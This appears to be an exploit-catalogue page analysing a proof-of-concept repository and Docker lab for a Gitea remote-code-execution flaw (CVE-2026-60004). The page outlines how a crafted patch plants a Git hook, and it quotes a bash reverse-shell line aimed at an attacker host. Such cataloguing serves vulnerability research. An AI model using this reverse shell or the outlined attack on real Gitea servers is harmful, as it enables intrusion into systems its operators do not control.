EQSTLab/CVE-2026-60004

GitHubRepository PoCExploit

PoC files

3 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a Python script (poc.py) that exploits CVE-2026-60004 in Gitea by sending a crafted patch twice to the diffpatch API, triggering a three-way merge fallback that writes a malicious Git hook to the server's bare repository, resulting in remote code execution via a reverse shell.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a Dockerfile, README, and Python PoC script for CVE-2026-60004. The PoC script constructs and sends a patch to a Gitea instance to achieve RCE via a reverse shell. All behavior is consistent with the stated exploit goal; no concealed backdoor, deceptive payload, or operator-directed harm beyond the described exploit is observed.

ClassificationExploit
Model confidence100%
AuthenticationRequired
Languagespython
Target softwareGitea
Attack typesremote code executionreverse shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits the vulnerability by sending a malicious payload to the target server to achieve remote code execution, as opposed to merely detecting or reporting the vulnerability.

poc.py:1-56README.md:3

Requirements

  • Target Gitea instance must be vulnerable (versions 1.17 through 1.27.0).README.md:21-22
  • Attacker must have write access to a repository on the target Gitea instance (e.g., via open registration).README.md:13README.md:50
  • Attacker must provide valid credentials (username and password) for the target Gitea instance.poc.py:8-9
  • A listener (e.g., netcat) must be running on a host reachable from the Gitea server to receive the reverse shell.README.md:70-72

Observed behavior

  • Constructs a reverse shell command and embeds it in a Git hook script (hooks/post-index-change).poc.py:17-19
  • Generates a Git patch that creates the hook file with executable permissions.poc.py:23-31
  • Sends the same patch twice via HTTP POST to the Gitea diffpatch API endpoint to trigger the vulnerability.poc.py:41-44
  • The second request may time out while the reverse shell is active, which the script treats as a possible success.poc.py:50-53
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1The PoC script generates a reverse shell command to the attacker-controlled host and port, which is the stated purpose of the exploit.poc.py:17
Base64 Encoding
base64.b64encode(shell.encode()).decode()The reverse shell command is base64-encoded before embedding in the hook, a common technique to avoid shell metacharacter issues, not an attempt at concealment.poc.py:18
Git Hook Installation
hooks/post-index-changeThe patch creates an executable post-index-change hook in the bare repository's working tree, which is the documented RCE mechanism.poc.py:24
Review boundaries

What the analysis did not establish

  • The analysis is based solely on the provided text files; the code was not executed, and its effectiveness or safety is not verified.
  • Only the three text files (Dockerfile, README.md, poc.py) were provided; no other repository content was reviewed.
  • The review does not verify that the PoC works as described or that it is safe to execute in any environment.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Docker lab environments

1
GitHub

Repository root

Created Vuln labNo linked CVEDockerfile

1 Dockerfile

Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A single-container Docker environment based on Gitea 1.27.0, configured with open registration and a fake flag file, intended as a vulnerability lab for CVE-2026-60004.

Dockerfile:1-11README.md:1-168

Lab assessment

Vulnerability lab

The README explicitly describes a CVE-2026-60004 RCE vulnerability, provides a PoC script, and the Dockerfile builds a vulnerable Gitea instance with open registration and a flag file, consistent with a vulnerability research lab.

README.md:1-3Dockerfile:1-11
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

Gitea service

vulnerable target application

Gitea 1.27.0 running in a container, exposed on port 3000, with open registration and a fake flag file at /flag.txt.

Dockerfile:2-10

PoC script (poc.py)

exploit delivery tool

Python script that crafts a malicious Git patch to install a reverse-shell hook via the diffpatch API, targeting the Gitea instance.

poc.py:1-56
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • Gitea 1.27.0 container must be built and running with port 3000 exposed.README.md:37-40
  • Open registration must be enabled (default in the lab).Dockerfile:6
  • Attacker must register an account and create an initialized repository.README.md:55-58
  • A listener (e.g., ncat) must be started on the attacker's host to receive the reverse shell.README.md:62-64

Evidence-described exercise path

  1. Build and run the vulnerable Gitea container.README.md:37-40
  2. Register a user account and create an initialized repository via the web UI.README.md:55-58
  3. Start a reverse-shell listener on the attacker's host.README.md:62-64
  4. Run poc.py with target URL, credentials, repository, and callback address to deliver the malicious patch and trigger the reverse shell.README.md:68-76
  5. Verify the reverse shell runs as the 'git' user.README.md:100-103
Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

The lab is self-contained: the Dockerfile only builds a vulnerable Gitea instance with a fake flag, and the PoC script targets the lab's own Gitea service to demonstrate the documented RCE. No evidence of host escape, external exfiltration, persistence outside the container, or hidden malicious behavior.

Dockerfile:1-11poc.py:1-56README.md:1-168
Review boundaries

What the analysis did not establish

  • CVE-2026-60004 is not present in the acquired CVE list; the assessment relies solely on the packet's own claims.
  • The packet does not include a compose file or explicit network configuration; the lab's network isolation cannot be fully verified.
  • The PoC script's reverse-shell connection is to an attacker-controlled address, which is expected for the exercise but could be misused if the lab is not properly isolated.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

Linked vulnerabilities

1